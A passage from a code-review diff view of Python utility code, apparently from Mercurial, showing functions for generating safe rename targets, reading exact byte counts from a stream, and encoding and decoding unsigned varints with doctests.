3498 Generate a name that it is safe to rename f to in the given context.
3509 Generate a name that it is safe to rename f to in the given context.
3499
3510
3500 f: filename to rename
3511 f: filename to rename
3501 tag: a string tag that will be included in the new name
3512 tag: a string tag that will be included in the new name
3502 ctx: a context, in which the new name must not exist
3513 ctx: a context, in which the new name must not exist
3503 others: a set of other filenames that the new name must not be in
3514 others: a set of other filenames that the new name must not be in
3504
3515
3505 Returns a file name of the form oldname~tag[~number] which does not exist
3516 Returns a file name of the form oldname~tag[~number] which does not exist
3506 in the provided context and is not in the set of other names.
3517 in the provided context and is not in the set of other names.
3507 """
3518 """
3508 if others is None:
3519 if others is None:
3509 others = set()
3520 others = set()
3510
3521
3511 fn = b'%s~%s' % (f, tag)
3522 fn = b'%s~%s' % (f, tag)
3512 if fn not in ctx and fn not in others:
3523 if fn not in ctx and fn not in others:
3513 return fn
3524 return fn
3514 for n in itertools.count(1):
3525 for n in itertools.count(1):
3515 fn = b'%s~%s~%s' % (f, tag, n)
3526 fn = b'%s~%s~%s' % (f, tag, n)
3516 if fn not in ctx and fn not in others:
3527 if fn not in ctx and fn not in others:
3517 return fn
3528 return fn
3518
3529
3519
3530
3520 def readexactly(stream, n):
3531 def readexactly(stream, n):
3521 '''read n bytes from stream.read and abort if less was available'''
3532 '''read n bytes from stream.read and abort if less was available'''
3522 s = stream.read(n)
3533 s = stream.read(n)
3523 if len(s) < n:
3534 if len(s) < n:
3524 raise error.Abort(
3535 raise error.Abort(
3525 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
3536 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
3526 % (len(s), n)
3537 % (len(s), n)
3527 )
3538 )
3528 return s
3539 return s
3529
3540
3530
3541
3531 def uvarintencode(value):
3542 def uvarintencode(value):
3532 """Encode an unsigned integer value to a varint.
3543 """Encode an unsigned integer value to a varint.
3533
3544
3534 A varint is a variable length integer of 1 or more bytes. Each byte
3545 A varint is a variable length integer of 1 or more bytes. Each byte
3535 except the last has the most significant bit set. The lower 7 bits of
3546 except the last has the most significant bit set. The lower 7 bits of
3536 each byte store the 2's complement representation, least significant group
3547 each byte store the 2's complement representation, least significant group
3537 first.
3548 first.
3538
3549
3539 >>> uvarintencode(0)
3550 >>> uvarintencode(0)
3540 '\\x00'
3551 '\\x00'
3541 >>> uvarintencode(1)
3552 >>> uvarintencode(1)
3542 '\\x01'
3553 '\\x01'
3543 >>> uvarintencode(127)
3554 >>> uvarintencode(127)
3544 '\\x7f'
3555 '\\x7f'
3545 >>> uvarintencode(1337)
3556 >>> uvarintencode(1337)
3546 '\\xb9\\n'
3557 '\\xb9\\n'
3547 >>> uvarintencode(65536)
3558 >>> uvarintencode(65536)
3548 '\\x80\\x80\\x04'
3559 '\\x80\\x80\\x04'
3549 >>> uvarintencode(-1)
3560 >>> uvarintencode(-1)
3550 Traceback (most recent call last):
3561 Traceback (most recent call last):
3551 ...
3562 ...
3552 ProgrammingError: negative value for uvarint: -1
3563 ProgrammingError: negative value for uvarint: -1
3553 """
3564 """
3554 if value < 0:
3565 if value < 0:
3555 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
3566 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
3556 bits = value & 0x7F
3567 bits = value & 0x7F
3557 value >>= 7
3568 value >>= 7
3558 bytes = []
3569 bytes = []
3559 while value:
3570 while value:
3560 bytes.append(pycompat.bytechr(0x80 | bits))
3571 bytes.append(pycompat.bytechr(0x80 | bits))
3561 bits = value & 0x7F
3572 bits = value & 0x7F
3562 value >>= 7
3573 value >>= 7
3563 bytes.append(pycompat.bytechr(bits))
3574 bytes.append(pycompat.bytechr(bits))
3564
3575
3565 return b''.join(bytes)
3576 return b''.join(bytes)
3566
3577
3567
3578
3568 def uvarintdecodestream(fh):
3579 def uvarintdecodestream(fh):
3569 """Decode an unsigned variable length integer from a stream.
3580 """Decode an unsigned variable length integer from a stream.
3570
3581
3571 The passed argument is anything that has a ``.read(N)`` method.
3582 The passed argument is anything that has a ``.read(N)`` method.
3572
3583
3573 >>> try:
3584 >>> try:
3574 ... from StringIO import StringIO as BytesIO
3585 ... from StringIO import StringIO as BytesIO
3575 ... except ImportError:
3586 ... except ImportError:
3576 ... from io import BytesIO
3587 ... from io import BytesIO
3577 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3588 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3578 0
3589 0
3579 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3590 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3580 1
3591 1
3581 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3592 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3582 127
3593 127
3583 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3594 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3584 1337
3595 1337
3585 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3596 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3586 65536
3597 65536
3587 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3598 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3588 Traceback (most recent call last):
3599 Traceback (most recent call last):
3589 ...
3600 ...
3590 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3601 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3591 """
3602 """
3592 result = 0
3603 result = 0
3593 shift = 0
3604 shift = 0
3594 while True:
3605 while True:
3595 byte = ord(readexactly(fh, 1))
3606 byte = ord(readexactly(fh, 1))
3596 result |= (byte & 0x7F) << shift
3607 result |= (byte & 0x7F) << shift
3597 if not (byte & 0x80):
3608 if not (byte & 0x80):
3598 return result
3609 return result
3599 shift += 7
3610 shift += 7
General Comments 0
You need to be logged in to leave comments. Login now